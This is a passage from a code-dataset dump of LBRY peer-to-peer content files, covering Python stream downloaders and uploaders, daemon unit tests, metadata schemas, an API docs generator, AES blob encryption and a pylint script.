True,\n self.payment_rate_manager, self.wallet, download_manager)\n\n def _get_primary_request_creators(self, download_manager):\n return [download_manager.blob_requester, download_manager.blob_info_finder]\n\n def _get_write_func(self):\n def write_func(data):\n if self.stopped is False:\n self.file_handle.write(data)\n return write_func\n\n def _close_file(self):\n def close_file():\n if self.file_handle is not None:\n self.file_handle.close()\n self.file_handle = None\n return threads.deferToThread(close_file)\n\n\nclass FullLiveStreamDownloaderFactory(object):\n\n implements(IStreamDownloaderFactory)\n\n def __init__(self, peer_finder, rate_limiter, blob_manager, stream_info_manager, wallet,\n default_payment_rate_manager):\n self.peer_finder = peer_finder\n self.rate_limiter = rate_limiter\n self.blob_manager = blob_manager\n self.stream_info_manager = stream_info_manager\n self.wallet = wallet\n self.default_payment_rate_manager = default_payment_rate_manager\n\n def can_download(self, sd_validator):\n return True\n\n def make_downloader(self, metadata, options, payment_rate_manager):\n # TODO: check options for payment rate manager parameters\n prm = LiveStreamPaymentRateManager(self.default_payment_rate_manager,\n payment_rate_manager)\n\n def save_source_if_blob(stream_hash):\n if metadata.metadata_source == StreamMetadata.FROM_BLOB:\n d = self.stream_info_manager.save_sd_blob_hash_to_stream(stream_hash, metadata.source_blob_hash)\n else:\n d = defer.succeed(True)\n d.addCallback(lambda _: stream_hash)\n return d\n\n d = save_sd_info(self.stream_info_manager, metadata.validator.raw_info)\n d.addCallback(save_source_if_blob)\n\n def create_downloader(stream_hash):\n stream_downloader = FullLiveStreamDownloader(stream_hash, self.peer_finder, self.rate_limiter,\n self.blob_manager, self.stream_info_manager,\n prm, self.wallet)\n d = stream_downloader.set_stream_info()\n d.addCallback(lambda _: stream_downloader)\n return d\n\n d.addCallback(create_downloader)\n return d\n\n\ndef add_full_live_stream_downloader_to_sd_identifier(session, stream_info_manager, sd_identifier,\n base_live_stream_payment_rate_manager):\n downloader_factory = FullLiveStreamDownloaderFactory(session.peer_finder,\n session.rate_limiter,\n session.blob_manager,\n stream_info_manager,\n session.wallet,\n base_live_stream_payment_rate_manager)\n sd_identifier.add_stream_downloader_factory(LiveStreamType, downloader_factory)\n" }, { "alpha_fraction": 0.6493775844573975, "alphanum_fraction": 0.6535269618034363, "avg_line_length": 31.133333206176758, "blob_id": "65e329e0a66efcb809f43beee65530f13380c837", "content_id": "c54cf0a441bfa442a907fdd96ad95653d381692f", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 482, "license_type": "permissive", "max_line_length": 71, "num_lines": 15, "path": "/run_pylint.sh", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\nset -eu\n\n# Ignoring distutils because: https://github.com/PyCQA/pylint/issues/73\n# TODO: as code quality improves, make pylint be more strict\npylint -E --disable=inherit-non-class --disable=no-member \\\n --ignored-modules=distutils \\\n --enable=unused-import \\\n --enable=bad-whitespace \\\n --enable=line-too-long \\\n --enable=trailing-whitespace \\\n --enable=missing-final-newline \\\n --enable=mixed-indentation \\\n lbrynet $@\n" }, { "alpha_fraction": 0.625345766544342, "alphanum_fraction": 0.6517980694770813, "avg_line_length": 40.31428527832031, "blob_id": "cb594fd3db8da6a903a9a04353028d545244cd95", "content_id": "dd06247a73a67ab96e8ecfa31c17f01ed2b00cbd", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5784, "license_type": "permissive", "max_line_length": 126, "num_lines": 140, "path": "/tests/unit/lbrynet_daemon/test_Daemon.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import mock\nimport requests\nfrom tests.mocks import BlobAvailabilityTracker as DummyBlobAvailabilityTracker\nfrom tests import util\nfrom twisted.internet import defer\nfrom twisted.internet import reactor\nfrom twisted.trial import unittest\nfrom lbrynet.lbrynet_daemon import Daemon\nfrom lbrynet.core import Session, PaymentRateManager, Wallet\nfrom lbrynet.lbrynet_daemon.Daemon import Daemon as LBRYDaemon\nfrom lbrynet.lbrynet_daemon import ExchangeRateManager\nfrom lbrynet import conf\nfrom tests.mocks import mock_conf_settings, FakeNetwork\n\n\nclass MiscTests(unittest.TestCase):\n def test_get_lbry_electron_client_version_from_github(self):\n response = mock.create_autospec(requests.Response)\n # don't need to mock out the entire response from the api\n # but at least need 'tag_name'\n response.json.return_value = {\n \"url\": \"https://api.github.com/repos/lbryio/lbry/releases/3685199\",\n \"assets_url\": \"https://api.github.com/repos/lbryio/lbry/releases/3685199/assets\",\n \"html_url\": \"https://github.com/lbryio/lbry/releases/tag/v0.3.8\",\n \"id\": 3685199,\n \"tag_name\": \"v0.3.8\",\n \"prerelease\": False\n }\n with mock.patch('lbrynet.lbrynet_daemon.Daemon.requests') as req:\n req.get.return_value = response\n rv = Daemon.CheckRemoteVersion()\n rv._get_lbry_electron_client_version()\n self.assertEqual('0.3.8', rv.version)\n\n def test_error_is_thrown_if_prerelease(self):\n response = mock.create_autospec(requests.Response)\n response.json.return_value = {\n \"tag_name\": \"v0.3.8\",\n \"prerelease\": True\n }\n with mock.patch('lbrynet.lbrynet_daemon.Daemon.requests') as req:\n req.get.return_value = response\n rv = Daemon.CheckRemoteVersion()\n with self.assertRaises(Exception):\n rv._get_lbry_electron_client_version()\n\n def test_error_is_thrown_when_version_cant_be_parsed(self):\n with self.assertRaises(Exception):\n Daemon.get_version_from_tag('garbage')\n\n\ndef get_test_daemon(data_rate=None, generous=True, with_fee=False):\n if data_rate is None:\n data_rate = conf.ADJUSTABLE_SETTINGS['data_rate'][1]\n\n rates = {\n 'BTCLBC': {'spot': 3.0, 'ts': util.DEFAULT_ISO_TIME + 1},\n 'USDBTC': {'spot': 2.0, 'ts': util.DEFAULT_ISO_TIME + 2}\n }\n daemon = LBRYDaemon(None, None)\n daemon.session = mock.Mock(spec=Session.Session)\n daemon.exchange_rate_manager = ExchangeRateManager.DummyExchangeRateManager(rates)\n base_prm = PaymentRateManager.BasePaymentRateManager(rate=data_rate)\n prm = PaymentRateManager.NegotiatedPaymentRateManager(base_prm, DummyBlobAvailabilityTracker(),\n generous=generous)\n daemon.session.payment_rate_manager = prm\n metadata = {\n \"author\": \"fake author\",\n \"content_type\": \"fake/format\",\n \"description\": \"fake description\",\n \"license\": \"fake license\",\n \"license_url\": \"fake license url\",\n \"nsfw\": False,\n \"sources\": {\n \"lbry_sd_hash\": \"d2b8b6e907dde95245fe6d144d16c2fdd60c4e0c6463ec98b85642d06d8e9414e8fcfdcb7cb13532ec5454fb8fe7f280\"\n },\n \"thumbnail\": \"fake thumbnail\",\n \"title\": \"fake title\",\n \"ver\": \"0.0.3\"\n }\n if with_fee:\n metadata.update(\n {\"fee\": {\"USD\": {\"address\": \"bQ6BGboPV2SpTMEP7wLNiAcnsZiH8ye6eA\", \"amount\": 0.75}}})\n daemon._resolve_name = lambda _: defer.succeed(metadata)\n return daemon\n\n\nclass TestCostEst(unittest.TestCase):\n def setUp(self):\n mock_conf_settings(self)\n util.resetTime(self)\n\n def test_fee_and_generous_data(self):\n size = 10000000\n correct_result = 4.5\n daemon = get_test_daemon(generous=True, with_fee=True)\n self.assertEquals(daemon.get_est_cost(\"test\", size).result, correct_result)\n\n def test_fee_and_ungenerous_data(self):\n size = 10000000\n fake_fee_amount = 4.5\n data_rate = conf.ADJUSTABLE_SETTINGS['data_rate'][1]\n correct_result = size / 10 ** 6 * data_rate + fake_fee_amount\n daemon = get_test_daemon(generous=False, with_fee=True)\n self.assertEquals(daemon.get_est_cost(\"test\", size).result, correct_result)\n\n def test_generous_data_and_no_fee(self):\n size = 10000000\n correct_result = 0.0\n daemon = get_test_daemon(generous=True)\n self.assertEquals(daemon.get_est_cost(\"test\", size).result, correct_result)\n\n def test_ungenerous_data_and_no_fee(self):\n size = 10000000\n data_rate = conf.ADJUSTABLE_SETTINGS['data_rate'][1]\n correct_result = size / 10 ** 6 * data_rate\n daemon = get_test_daemon(generous=False)\n self.assertEquals(daemon.get_est_cost(\"test\", size).result, correct_result)\n\n\nclass TestJsonRpc(unittest.TestCase):\n def setUp(self):\n def noop():\n return None\n\n mock_conf_settings(self)\n util.resetTime(self)\n self.test_daemon = get_test_daemon()\n self.test_daemon.session.wallet = Wallet.LBRYumWallet(storage=Wallet.InMemoryStorage())\n self.test_daemon.session.wallet.network = FakeNetwork()\n self.test_daemon.session.wallet.get_best_blockhash = noop\n\n def test_status(self):\n d = defer.maybeDeferred(self.test_daemon.jsonrpc_status)\n d.addCallback(lambda status: self.assertDictContainsSubset({'is_running': False}, status))\n\n def test_help(self):\n d = defer.maybeDeferred(self.test_daemon.jsonrpc_help, command='status')\n d.addCallback(lambda result: self.assertSubstring('daemon status', result['help']))\n # self.assertSubstring('daemon status', d.result)\n" }, { "alpha_fraction": 0.3913043439388275, "alphanum_fraction": 0.417391300201416, "avg_line_length": 20.5625, "blob_id": "23b7179a8ed2d40fe6844d6b0721d3a71a14d401", "content_id": "18efd64b60109b0bd1b61bc8acfaecfbbbdf89f1", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 345, "license_type": "permissive", "max_line_length": 57, "num_lines": 16, "path": "/lbrynet/metadata/fee_schemas.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "VER_001 = {\n '$schema': 'http://json-schema.org/draft-04/schema#',\n 'title': 'LBRY fee schema 0.0.1',\n 'type': 'object',\n\n 'properties': {\n 'amount': {\n 'type': 'number',\n 'minimum': 0,\n 'exclusiveMinimum': True,\n },\n 'address': {\n 'type': 'string'\n }\n },\n}\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 32.42856979370117, "blob_id": "fe6a73e9f1e9dfe39fa7938fff4e5d1fa1ba170e", "content_id": "e7bdb4ac9b244ae6ce50f5ba5ca3ee61beb9ea12", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 468, "license_type": "permissive", "max_line_length": 72, "num_lines": 14, "path": "/lbrynet/analytics/logging_handler.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import logging\n\n\nclass Handler(logging.Handler):\n \"\"\"A logging handler that reports errors to the analytics manager\"\"\"\n def __init__(self, manager, level=logging.ERROR):\n self.manager = manager\n logging.Handler.__init__(self, level)\n\n def emit(self, record):\n # We need to call format to ensure that record.message and\n # record.exc_text attributes are populated\n self.format(record)\n self.manager.send_error(record)\n" }, { "alpha_fraction": 0.628040075302124, "alphanum_fraction": 0.6745350360870361, "avg_line_length": 30.772727966308594, "blob_id": "5b2a25afa4cf84b96edadfcb2e6088df68178ad2", "content_id": "b1b7de8b0078421319b154b888736f09d1fc9e25", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1398, "license_type": "permissive", "max_line_length": 90, "num_lines": 44, "path": "/lbrynet/metadata/Metadata.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import logging\n\nfrom lbrynet.core import Error\nfrom lbrynet.metadata.StructuredDict import StructuredDict\nimport metadata_schemas\n\nlog = logging.getLogger(__name__)\nNAME_ALLOWED_CHARSET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321-'\n\n\ndef verify_name_characters(name):\n assert len(name) > 0, \"Empty uri\"\n invalid_characters = {c for c in name if c not in NAME_ALLOWED_CHARSET}\n if invalid_characters:\n raise Error.InvalidName(name, invalid_characters)\n return True\n\n\ndef migrate_001_to_002(metadata):\n metadata['ver'] = '0.0.2'\n metadata['nsfw'] = False\n\ndef migrate_002_to_003(metadata):\n metadata['ver'] = '0.0.3'\n if 'content-type' in metadata:\n metadata['content_type'] = metadata['content-type']\n del metadata['content-type']\n\n\nclass Metadata(StructuredDict):\n current_version = '0.0.3'\n\n _versions = [\n ('0.0.1', metadata_schemas.VER_001, None),\n ('0.0.2', metadata_schemas.VER_002, migrate_001_to_002),\n ('0.0.3', metadata_schemas.VER_003, migrate_002_to_003)\n ]\n\n def __init__(self, metadata, migrate=True, target_version=None):\n if not isinstance(metadata, dict):\n raise TypeError(\"{} is not a dictionary\".format(metadata))\n starting_version = metadata.get('ver', '0.0.1')\n\n StructuredDict.__init__(self, metadata, starting_version, migrate, target_version)\n" }, { "alpha_fraction": 0.600923478603363, "alphanum_fraction": 0.602902352809906, "avg_line_length": 26.816513061523438, "blob_id": "20be6b9cd3ef7dd7ce1b869ad1bc3b390e9a5605", "content_id": "7e999ba104ecd2773ce50ca0f54010770e9a4397", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3032, "license_type": "permissive", "max_line_length": 90, "num_lines": 109, "path": "/scripts/gen_api_docs.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Generate docs: python gen_api_docs.py\n# See docs: pip install mkdocs; mkdocs serve\n# Push docs: mkdocs gh-deploy\n\nimport inspect\nimport os.path as op\nimport re\nimport sys\n\nfrom six import string_types\nfrom lbrynet.lbrynet_daemon.Daemon import Daemon\n\n\ndef _name(obj):\n if hasattr(obj, '__name__'):\n return obj.__name__\n elif inspect.isdatadescriptor(obj):\n return obj.fget.__name__\n\n\ndef _anchor(name):\n anchor = name.lower().replace(' ', '-')\n anchor = re.sub(r'[^\\w\\- ]', '', anchor)\n return anchor\n\n\n_docstring_header_pattern = re.compile(r'^([^\\n]+)\\n[\\-\\=]{3,}$', flags=re.MULTILINE)\n_docstring_parameters_pattern = re.compile(r'^([^ \\n]+) \\: ([^\\n]+)$', flags=re.MULTILINE)\n\n\ndef _replace_docstring_header(paragraph):\n \"\"\"Process NumPy-like function docstrings.\"\"\"\n\n # Replace Markdown headers in docstrings with light headers in bold.\n paragraph = re.sub(_docstring_header_pattern, r'*\\1*', paragraph)\n paragraph = re.sub(_docstring_parameters_pattern, r'\\n* `\\1` (\\2)\\n', paragraph)\n return paragraph\n\n\ndef _doc(obj):\n docstr = (inspect.getdoc(obj) or '').strip()\n return _replace_docstring_header(docstr) if docstr and '---' in docstr else docstr\n\n\ndef _is_public(obj):\n name = _name(obj) if not isinstance(obj, string_types) else obj\n if name:\n return not name.startswith('_')\n else:\n return True\n\n\ndef _is_defined_in_package(obj, package):\n if isinstance(obj, property):\n obj = obj.fget\n mod = inspect.getmodule(obj)\n if mod and hasattr(mod, '__name__'):\n name = mod.__name__\n return name.split('.')[0] == package\n return True\n\n\ndef _iter_doc_members(obj, package=None):\n for _, member in inspect.getmembers(obj):\n if _is_public(member):\n if package is None or _is_defined_in_package(member, package):\n yield member\n\n\ndef _iter_methods(klass, package=None):\n for member in _iter_doc_members(klass, package):\n if inspect.isfunction(member) or inspect.ismethod(member):\n if inspect.isdatadescriptor(member):\n continue\n if _name(member).startswith('jsonrpc_'):\n yield member\n\n\ndef _link(name, anchor=None):\n return \"[{name}](#{anchor})\".format(name=name, anchor=anchor or _anchor(name))\n\n\ndef main():\n curdir = op.dirname(op.realpath(__file__))\n path = op.realpath(op.join(curdir, '..', 'docs', 'index.md'))\n\n klass = Daemon\n\n # toc = ''\n doc = ''\n # Table of contents\n for method in _iter_methods(klass):\n method_name = _name(method)[len('jsonrpc_'):]\n method_doc = _doc(method)\n if \"DEPRECATED\" in method_doc:\n continue\n # toc += '* ' + _link(method_name, _anchor(method_name)) + \"\\n\"\n doc += '## ' + method_name + \"\\n\\n```text\\n\" + method_doc + \"\\n```\\n\\n\"\n\n text = \"# LBRY JSON-RPC API Documentation\\n\\n\" + doc\n\n with open(path, 'w+') as f:\n f.write(text)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n" }, { "alpha_fraction": 0.645118236541748, "alphanum_fraction": 0.647978663444519, "avg_line_length": 41.98360824584961, "blob_id": "c0b0ef288607b91c7294900bf387d526ea886c1f", "content_id": "2328715248651eb73f13aac760ca25fd17a9c7ee", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5244, "license_type": "permissive", "max_line_length": 108, "num_lines": 122, "path": "/lbrynet/lbrylive/StdinUploader.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\n# pylint: skip-file\n# This file is not maintained, but might be used in the future\n#\nimport logging\nimport sys\nfrom lbrynet.lbrylive.LiveStreamCreator import StdOutLiveStreamCreator\nfrom lbrynet.core.BlobManager import TempBlobManager\nfrom lbrynet.core.Session import Session\nfrom lbrynet.core.server.BlobAvailabilityHandler import BlobAvailabilityHandlerFactory\nfrom lbrynet.core.server.BlobRequestHandler import BlobRequestHandlerFactory\nfrom lbrynet.core.server.ServerProtocol import ServerProtocolFactory\nfrom lbrynet.lbrylive.PaymentRateManager import BaseLiveStreamPaymentRateManager\nfrom lbrynet.lbrylive.LiveStreamMetadataManager import DBLiveStreamMetadataManager\nfrom lbrynet.lbrylive.server.LiveBlobInfoQueryHandler import CryptBlobInfoQueryHandlerFactory\nfrom lbrynet.dht.node import Node\nfrom twisted.internet import defer, task\n\n\nclass StdinUploader():\n \"\"\"This class reads from standard in, creates a stream, and makes it available on the network.\"\"\"\n def __init__(self, peer_port, dht_node_port, known_dht_nodes,\n stream_info_manager_class=DBLiveStreamMetadataManager, blob_manager_class=TempBlobManager):\n \"\"\"\n @param peer_port: the network port on which to listen for peers\n\n @param dht_node_port: the network port on which to listen for nodes in the DHT\n\n @param known_dht_nodes: a list of (ip_address, dht_port) which will be used to join the DHT network\n \"\"\"\n self.peer_port = peer_port\n self.lbry_server_port = None\n self.session = Session(blob_manager_class=blob_manager_class,\n stream_info_manager_class=stream_info_manager_class,\n dht_node_class=Node, dht_node_port=dht_node_port,\n known_dht_nodes=known_dht_nodes, peer_port=self.peer_port,\n use_upnp=False)\n self.payment_rate_manager = BaseLiveStreamPaymentRateManager()\n\n def start(self):\n \"\"\"Initialize the session and start listening on the peer port\"\"\"\n d = self.session.setup()\n d.addCallback(lambda _: self._start())\n\n return d\n\n def _start(self):\n self._start_server()\n return True\n\n def _start_server(self):\n query_handler_factories = [\n CryptBlobInfoQueryHandlerFactory(self.stream_info_manager, self.session.wallet,\n self.payment_rate_manager),\n BlobAvailabilityHandlerFactory(self.session.blob_manager),\n BlobRequestHandlerFactory(self.session.blob_manager, self.session.wallet,\n self.payment_rate_manager),\n self.session.wallet.get_wallet_info_query_handler_factory()\n ]\n\n self.server_factory = ServerProtocolFactory(self.session.rate_limiter,\n query_handler_factories,\n self.session.peer_manager)\n from twisted.internet import reactor\n self.lbry_server_port = reactor.listenTCP(self.peer_port, self.server_factory)\n\n def start_live_stream(self, stream_name):\n \"\"\"Create the stream and start reading from stdin\n\n @param stream_name: a string, the suggested name of this stream\n \"\"\"\n stream_creator_helper = StdOutLiveStreamCreator(stream_name, self.session.blob_manager,\n self.stream_info_manager)\n d = stream_creator_helper.create_and_publish_stream_descriptor()\n\n def print_sd_hash(sd_hash):\n print \"Stream descriptor hash:\", sd_hash\n\n d.addCallback(print_sd_hash)\n d.addCallback(lambda _: stream_creator_helper.start_streaming())\n return d\n\n def shut_down(self):\n \"\"\"End the session and stop listening on the server port\"\"\"\n d = self.session.shut_down()\n d.addCallback(lambda _: self._shut_down())\n return d\n\n def _shut_down(self):\n if self.lbry_server_port is not None:\n d = defer.maybeDeferred(self.lbry_server_port.stopListening)\n else:\n d = defer.succeed(True)\n return d\n\n\ndef launch_stdin_uploader():\n\n from twisted.internet import reactor\n\n logging.basicConfig(level=logging.WARNING, filename=\"ul.log\")\n if len(sys.argv) == 4:\n uploader = StdinUploader(int(sys.argv[2]), int(sys.argv[3]), [])\n elif len(sys.argv) == 6:\n uploader = StdinUploader(int(sys.argv[2]), int(sys.argv[3]), [(sys.argv[4], int(sys.argv[5]))])\n else:\n print \"Usage: lbrynet-stdin-uploader <stream_name> <peer_port> <dht_node_port>\" \\\n \" [<dht_bootstrap_host> <dht_bootstrap port>]\"\n sys.exit(1)\n\n def start_stdin_uploader():\n return uploader.start_live_stream(sys.argv[1])\n\n def shut_down():\n logging.debug(\"Telling the reactor to stop in 60 seconds\")\n reactor.callLater(60, reactor.stop)\n\n d = task.deferLater(reactor, 0, uploader.start)\n d.addCallback(lambda _: start_stdin_uploader())\n d.addCallback(lambda _: shut_down())\n reactor.addSystemEventTrigger('before', 'shutdown', uploader.shut_down)\n reactor.run()\n" }, { "alpha_fraction": 0.8666666746139526, "alphanum_fraction": 0.8666666746139526, "avg_line_length": 59, "blob_id": "f80b5b6576df9e2700938124d4e2ac5517f9778f", "content_id": "8cd10066a4559c568ac9a15bd2ea1763ea98d7ed", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 120, "license_type": "permissive", "max_line_length": 61, "num_lines": 2, "path": "/lbrynet/lbryfile/__init__.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "from lbrynet.lbryfile.StreamDescriptor import get_sd_info\nfrom lbrynet.lbryfile.StreamDescriptor import publish_sd_blob\n" }, { "alpha_fraction": 0.6454358696937561, "alphanum_fraction": 0.64646315574646, "avg_line_length": 37.71590805053711, "blob_id": "b5bb38c02f4bf1e42a62931f0282862a560ff7a8", "content_id": "f0710c5fcac731681c5b68cd04be20e26d3438c4", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6814, "license_type": "permissive", "max_line_length": 115, "num_lines": 176, "path": "/lbrynet/lbrylive/LiveStreamCreator.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\nfrom lbrynet.core.StreamDescriptor import BlobStreamDescriptorWriter\nfrom lbrynet.lbrylive.StreamDescriptor import get_sd_info\nfrom lbrynet.cryptstream.CryptStreamCreator import CryptStreamCreator\nfrom lbrynet.lbrylive.LiveBlob import LiveStreamBlobMaker\nfrom lbrynet.core.cryptoutils import get_lbry_hash_obj, get_pub_key, sign_with_pass_phrase\nfrom Crypto import Random\nimport binascii\nimport logging\nfrom lbrynet import conf\nfrom twisted.internet import interfaces, defer\nfrom twisted.protocols.basic import FileSender\nfrom zope.interface import implements\n\n\nlog = logging.getLogger(__name__)\n\n\nclass LiveStreamCreator(CryptStreamCreator):\n def __init__(self, blob_manager, stream_info_manager, name=None, key=None, iv_generator=None,\n delete_after_num=None, secret_pass_phrase=None):\n CryptStreamCreator.__init__(self, blob_manager, name, key, iv_generator)\n self.stream_hash = None\n self.stream_info_manager = stream_info_manager\n self.delete_after_num = delete_after_num\n self.secret_pass_phrase = secret_pass_phrase\n self.file_extension = conf.settings['CRYPTSD_FILE_EXTENSION']\n self.finished_blob_hashes = {}\n\n def _save_stream(self):\n d = self.stream_info_manager.save_stream(self.stream_hash, get_pub_key(self.secret_pass_phrase),\n binascii.hexlify(self.name), binascii.hexlify(self.key),\n [])\n return d\n\n def _blob_finished(self, blob_info):\n log.debug(\"In blob_finished\")\n log.debug(\"length: %s\", str(blob_info.length))\n sig_hash = get_lbry_hash_obj()\n sig_hash.update(self.stream_hash)\n if blob_info.length != 0:\n sig_hash.update(blob_info.blob_hash)\n sig_hash.update(str(blob_info.blob_num))\n sig_hash.update(str(blob_info.revision))\n sig_hash.update(blob_info.iv)\n sig_hash.update(str(blob_info.length))\n signature = sign_with_pass_phrase(sig_hash.digest(), self.secret_pass_phrase)\n blob_info.signature = signature\n self.finished_blob_hashes[blob_info.blob_num] = blob_info.blob_hash\n if self.delete_after_num is not None:\n self._delete_old_blobs(blob_info.blob_num)\n d = self.stream_info_manager.add_blobs_to_stream(self.stream_hash, [blob_info])\n\n def log_add_error(err):\n log.error(\"An error occurred adding a blob info to the stream info manager: %s\", err.getErrorMessage())\n return err\n\n d.addErrback(log_add_error)\n log.debug(\"returning from blob_finished\")\n return d\n\n def setup(self):\n \"\"\"Create the secret pass phrase if it wasn't provided, compute the stream hash,\n save the stream to the stream info manager, and return the stream hash\n \"\"\"\n if self.secret_pass_phrase is None:\n self.secret_pass_phrase = Random.new().read(512)\n\n d = CryptStreamCreator.setup(self)\n\n def make_stream_hash():\n hashsum = get_lbry_hash_obj()\n hashsum.update(binascii.hexlify(self.name))\n hashsum.update(get_pub_key(self.secret_pass_phrase))\n hashsum.update(binascii.hexlify(self.key))\n self.stream_hash = hashsum.hexdigest()\n return self.stream_hash\n\n d.addCallback(lambda _: make_stream_hash())\n d.addCallback(lambda _: self._save_stream())\n d.addCallback(lambda _: self.stream_hash)\n return d\n\n def publish_stream_descriptor(self):\n descriptor_writer = BlobStreamDescriptorWriter(self.blob_manager)\n d = get_sd_info(self.stream_info_manager, self.stream_hash, False)\n d.addCallback(descriptor_writer.create_descriptor)\n return d\n\n def _delete_old_blobs(self, newest_blob_num):\n assert self.delete_after_num is not None, \"_delete_old_blobs called with delete_after_num=None\"\n oldest_to_keep = newest_blob_num - self.delete_after_num + 1\n nums_to_delete = [num for num in self.finished_blob_hashes.iterkeys() if num < oldest_to_keep]\n for num in nums_to_delete:\n self.blob_manager.delete_blobs([self.finished_blob_hashes[num]])\n del self.finished_blob_hashes[num]\n\n def _get_blob_maker(self, iv, blob_creator):\n return LiveStreamBlobMaker(self.key, iv, self.blob_count, blob_creator)\n\n\nclass StdOutLiveStreamCreator(LiveStreamCreator):\n def __init__(self, stream_name, blob_manager, stream_info_manager):\n LiveStreamCreator.__init__(self, blob_manager, stream_info_manager, stream_name,\n delete_after_num=20)\n\n def start_streaming(self):\n stdin_producer = StdinStreamProducer(self)\n d = stdin_producer.begin_producing()\n\n def stop_stream():\n d = self.stop()\n return d\n\n d.addCallback(lambda _: stop_stream())\n return d\n\n\nclass FileLiveStreamCreator(LiveStreamCreator):\n def __init__(self, blob_manager, stream_info_manager, file_name, file_handle,\n secret_pass_phrase=None, key=None, iv_generator=None, stream_name=None):\n if stream_name is None:\n stream_name = file_name\n LiveStreamCreator.__init__(self, blob_manager, stream_info_manager, stream_name,\n secret_pass_phrase, key, iv_generator)\n self.file_name = file_name\n self.file_handle = file_handle\n\n def start_streaming(self):\n file_sender = FileSender()\n d = file_sender.beginFileTransfer(self.file_handle, self)\n\n def stop_stream():\n d = self.stop()\n return d\n\n d.addCallback(lambda _: stop_stream())\n return d\n\n\nclass StdinStreamProducer(object):\n \"\"\"This class reads data from standard in and sends it to a stream creator\"\"\"\n\n implements(interfaces.IPushProducer)\n\n def __init__(self, consumer):\n self.consumer = consumer\n self.reader = None\n self.finished_deferred = None\n\n def begin_producing(self):\n\n self.finished_deferred = defer.Deferred()\n self.consumer.registerProducer(self, True)\n self.resumeProducing()\n return self.finished_deferred\n\n def resumeProducing(self):\n if self.reader is not None:\n self.reader.resumeProducing()\n\n def stopProducing(self):\n if self.reader is not None:\n self.reader.stopReading()\n self.consumer.unregisterProducer()\n self.finished_deferred.callback(True)\n\n def pauseProducing(self):\n if self.reader is not None:\n self.reader.pauseProducing()\n\n def childDataReceived(self, fd, data):\n self.consumer.write(data)\n\n def childConnectionLost(self, fd, reason):\n self.stopProducing()\n" }, { "alpha_fraction": 0.5887850522994995, "alphanum_fraction": 0.5908057689666748, "avg_line_length": 32.837608337402344, "blob_id": "282c13013ab592f63e0dd23a011d04eb62c4bc54", "content_id": "1aa2f4f1fbbc13be2ca202d0fcec8f09d75e2ff9", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3959, "license_type": "permissive", "max_line_length": 96, "num_lines": 117, "path": "/lbrynet/cryptstream/CryptBlob.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import binascii\nimport logging\nfrom Crypto.Cipher import AES\nfrom lbrynet import conf\nfrom lbrynet.core.BlobInfo import BlobInfo\n\n\nlog = logging.getLogger(__name__)\n\n\nclass CryptBlobInfo(BlobInfo):\n def __init__(self, blob_hash, blob_num, length, iv):\n BlobInfo.__init__(self, blob_hash, blob_num, length)\n self.iv = iv\n\n\nclass StreamBlobDecryptor(object):\n def __init__(self, blob, key, iv, length):\n self.blob = blob\n self.key = key\n self.iv = iv\n self.length = length\n self.buff = b''\n self.len_read = 0\n self.cipher = AES.new(self.key, AES.MODE_CBC, self.iv)\n\n def decrypt(self, write_func):\n\n def remove_padding(data):\n pad_len = ord(data[-1])\n data, padding = data[:-1 * pad_len], data[-1 * pad_len:]\n for c in padding:\n assert ord(c) == pad_len\n return data\n\n def write_bytes():\n if self.len_read < self.length:\n num_bytes_to_decrypt = greatest_multiple(len(self.buff), self.cipher.block_size)\n data_to_decrypt, self.buff = split(self.buff, num_bytes_to_decrypt)\n write_func(self.cipher.decrypt(data_to_decrypt))\n\n def finish_decrypt():\n assert len(self.buff) % self.cipher.block_size == 0\n data_to_decrypt, self.buff = self.buff, b''\n write_func(remove_padding(self.cipher.decrypt(data_to_decrypt)))\n\n def decrypt_bytes(data):\n self.buff += data\n self.len_read += len(data)\n write_bytes()\n\n d = self.blob.read(decrypt_bytes)\n d.addCallback(lambda _: finish_decrypt())\n return d\n\n\nclass CryptStreamBlobMaker(object):\n \"\"\"This class encrypts data and writes it to a new blob\"\"\"\n def __init__(self, key, iv, blob_num, blob):\n self.key = key\n self.iv = iv\n self.blob_num = blob_num\n self.blob = blob\n self.cipher = AES.new(self.key, AES.MODE_CBC, self.iv)\n self.buff = b''\n self.length = 0\n\n def 